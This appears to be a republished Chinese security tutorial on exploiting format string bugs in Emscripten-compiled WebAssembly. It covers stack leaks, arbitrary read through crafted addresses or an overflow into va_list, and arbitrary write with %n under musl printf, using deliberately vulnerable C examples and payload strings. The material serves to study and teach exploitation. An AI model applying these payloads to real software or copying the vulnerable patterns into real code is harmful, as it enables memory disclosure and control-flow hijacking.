WASM格式化字符串攻击尝试
2019-07-02 06:02:00 Author: xz.aliyun.com(查看原文) 阅读量:97 收藏

前置知识

  • wasm不是asm.
  • wasm可以提高一些复杂计算的速度,比如一些游戏

  • wasm的内存布局不同与常见的x86体系,wasm分为线性内存、执行堆栈、局部变量等.

  • wasm在调用函数时,由执行堆栈保存函数参数,以printf函数为例,其函数原型为

int printf(const char *restrict fmt, ...);

函数的参数分别为

  • 格式化字符串

  • 格式化字符串参数列表

我们编译以下代码

// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE test()
{
    sprintf("%d%d%d%d", 1, 2, 3, 4);
    return;
}

在chrome中调试,可以看到在调用printf函数时执行堆栈的内容为

stack:
0: 1900
1: 4816

其中的0,1分别为printf的两个参数,1900,4816分别指向参数对应的线性内存地址,拿1900为例,其在线性内存中的值为

1900: 37
1901: 100
1902: 37
1903: 100
1904: 37
1905: 100
1906: 37
1907: 100
1908: 0

%d%d%d%d\x00

部分读

获取栈上变量的值

当存在格式化字符串漏洞时,我们可以直接通过%d%d%d%d来泄露栈上的值

// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE test()
{
    int i[0x2];
    i[0] = 0x41414141;
    i[1] = 0x42424242;

    sprintf("%d%d%d%d");

    return;                                                                                                                   
}

当我们执行到printf时,执行堆栈为

stack:
0: 1900
1: 4816

第二个参数4816即为va_list的指针,查看线性内存中的值可以看到我们正好可以泄露变量i的值

4816: 0
4817: 0
4818: 0
4819: 0
4820: 0
4821: 0
4822: 0
4823: 0
4824: 65
4825: 65
4826: 65
4827: 65
4828: 66
4829: 66
4830: 66
4831: 66

泄露被调用函数中的值

除此之外,由于线性内存地址由低到高增长,所以格式化字符串还可以泄露出被调用函数的某些值

// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>

void sub()
{
  char password[] = "password";

  return;
}

void EMSCRIPTEN_KEEPALIVE test()
{
  sub();
  printf("%d%d%d%d%d%d");

  return;
}

当调用sub()时,线性内存布局为

+-----------+
|           |
+-----------+
|           |
+-----------+ <- sub()
| password  |
+-----------+
|           |
+-----------+

由于函数返回后线性内存的值不会清除,此时再调用printf的话,线性内存布局为

+-----------+
|           |
+-----------+
|  va_list  |
+-----------+ <- sub()
| password  |
+-----------+
|           |
+-----------+

由于存在格式化字符串漏洞,va_list会覆盖到之前调用sub()时留下的值

任意读

在fmt中构造地址

与x86下的任意读几乎相同,借助fmt在线性内存中提前伪造好我们需要的地址,类似如下语句

%d%s[addr]

一般情况下addr需要放在最后,因为线性内存地址从0开始增长,容易被\x00截断

编译下段代码,编译为html格式方便查看结果

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0xf] = "%d%d%d%s\x00\x13\x00\x00";
  printf(fmt);
  puts("");

  return;
}

其中puts()函数用于刷新缓冲流

当调用printf时调用堆栈的参数为

stack:
0: 4884
1: 4880

查看线性内存布局

+-----------+ <- 4864
|   ./th    |
+-----------+
|   is.p    |
+-----------+
|   rogr    |
+-----------+
|   am\x00  |
+-----------+ <- va_list
|   \x00    |
+-----------+
|   %d%d    |
+-----------+
|   %d%s    |
+-----------+
| addr_4864 |
+-----------+

因此从va_list开始,通过%d%d%d%s可以读取到addr_4864保存的地址

通过溢出构造地址

上边的方式已经很便捷了,为什么还需要通过溢出来构造呢?

问题在于我们并不能保证在线性内存中fmt总是位于va_list下方

现在我们修改上边的代码

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0x10] = "%d%d%d%s\x00\x13\x00\x00";
  printf(fmt);
  puts("");

  return;
}

只需将fmt数字改为0x10size,此时我们再查看函数执行堆栈

stack:
0: 4880 <- fmt
1: 4896 <- va_list

会发现va_list处于fmt下方,那么此时va_list下方还会有什么呢?答案是什么也没有.

出现这种情况的原因在于emscripten的编译机制以及wasm的传参方式

我们先讲在x86中会发生什么,以32位为例:

当我们调用函数printf(fmt);时,编译器会将参数fmt压入栈中,此时栈中布局为

+-----------+ <- low addr
|           |
+-----------+
|  fmt_ptr  |
+-----------+ <- fmt
|   XXXX    |
+-----------+
|   XXXX    |
+-----------+ <- high addr

如果printf只传入了一个参数,那么编译器就会老老实实的进行一次push,反过来对于printf函数来说,它并不知道调用函数进行了几次push,它只会根据fmt以及调用约定,不断向下读取参数

但是对于wasm并不是这样,我们在开头就已经提到过,wasm在调用函数时会将参数保存在执行堆栈中,如果把所有变长参数都保存在执行堆栈中

比如这样

stack:
0: fmt
1: va1
2: va2
3: va3

那么被调用函数就无法确定变长参数.

因此对于变长参数,wasm会在执行堆栈中保存va_list,其指向线性内存中的一段区域

stack:              +--> +--------+ <- va_list
0: fmt        |    |  XXXX  |
1: va_list +--+    +--------+

被调用函数就通过va_list指向的线性内存来读取变长参数

并非所有的变量都在线性内存中,类似于int i;这种的变量声明会直接保存在局部变量中,只有需要分配内存的变量才会保存在线性内存中,比如char s[0x10],这些变量在线性内存中的布局与他们的声明顺序有关,通常来讲,先声明的变量位于线性内存的高地址处,后声明的变量位于线性内存的低地址处,比如若一段代码

char arr1[0x10];
char arr2[0x20];
char arr3[0x30];

那么它的内存布局为

+-----------+ <- low addr
|           |
+-----------+
|   arr1    |
+-----------+
|   arr2    |
+-----------+
|   arr3    |
+-----------+ <- high addr

这是一般情况

在需要的内存小于0x10时,可能是出于优化的目的,会被统一放到线性内存的高地址处,直接拿我们开头举的例子

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0x10] = "%d%d%d%s\x00\x13\x00\x00";
  printf(fmt);
  puts("");

  return;
}

此时fmt大于0x10,而va_list作为一个隐式的变量,其小于0x10,因此会被放入高地址处,在这种情况下,我们是没有办法通过在fmt中构造地址来泄露内存,当然,我们仍然可以通过调用一个函数来达到这个目的,比如说

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>

void sub()
{
  char target[] = "\x00\x13\x00\x00";
}

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0x10] = "%d%d%d%d%s";
  sub();
  printf(fmt);
  puts("");

  return;
}

另一种方法就是通过溢出,当存在溢出时,我们可以将需要的值溢出到va_list

#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0x10] = "%sAABBBBCCCCDDDD";

  // overflow two bytes
  fmt[0x10] = '\x00';
  fmt[0x11] = '\x13';

  printf(fmt);
  puts("");

  return;
}

由于此时va_list位于高地址处,只需要溢出很少的字节就可以做到任意地址读

任意写

任意写和任意读很相似,加上wasm通常可以通过函数索引来达到控制程序流的目的,格式化字符串的任意写很实用

通常为了实现任意写我们会构造为

%[value]d%k$n[addr]

比如

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>                                                                                                            

int flag;

void getflag()
{
  if(flag == 1)
  {
    printf("YouGotIt!");
  }
  return;
}

void EMSCRIPTEN_KEEPALIVE main()
{
  flag = 3;
  char fmt[0xf] = "%01d%4$n\xd0\x0b\x00\x00";

  printf(fmt);
  getflag();

  return;
}

其中flag地址为0xbd0,正常来讲,我们打印了一个字符,这时对va_list的第四个参数即flag的地址赋值时会为1

但是结果getflag()函数并不会正确输出,再debug一下会发现调用printf函数后会报错

stack:
0: -1

这是因为emscripten编译器并未使用glibc,而是采用的musl的libc,其源码可以在emscripten项目下查看,printf的核心在printf_core

// emscripten-incoming/system/lib/libc/musl/src/stdio/vfprintf.c 693
for (i=1; i<=NL_ARGMAX && nl_type[i]; i++)
        pop_arg(nl_arg+i, nl_type[i], ap, pop_arg_long_double);
    for (; i<=NL_ARGMAX && !nl_type[i]; i++);
    if (i<=NL_ARGMAX) return -1;

格式化字符串%k$n中的k会按从小到大的顺序依次打印出来直到满足条件i<=NL_ARGMAX && nl_type[i];,然后检查是否存在不按顺序的k,即i<=NL_ARGMAX && !nl_type[i];

总结一下musl下printf函数的几个特点

  • 存在%(k+1)\$n则必须存在%(k)$n
  • (k)与(k+1)之间没有先后顺序
  • 最多有NL_ARGMAX个格式化字符串标志
  • 需要在%d之前使用%k$d(忘了写注释,这段的源码忘记在哪里了,printf在输出%d后会返回)

所以musl中的printf大致相当于glibc中__printf_chk的弟弟版,因此为了实现任意写,我们可能需要写一个奇形怪状的格式化字符串

#include <emscripten.h>
#include <stdio.h>
#include <string.h>

int flag;

void getflag()
{
  if(flag == 1)
  {
    printf("YouGotIt!\n");
  }
  return;
}

void EMSCRIPTEN_KEEPALIVE main()
{
  flag = 3;
  char fmt[0x10];

  memcpy(fmt, "A%2$n%1$xBBBCCCCDDDD\xe0\x0b\x00\x00", 24);
  printf(fmt);
  getflag();

  return;
}

文章来源: http://xz.aliyun.com/t/5512
如有侵权请联系:admin#unsafe.sh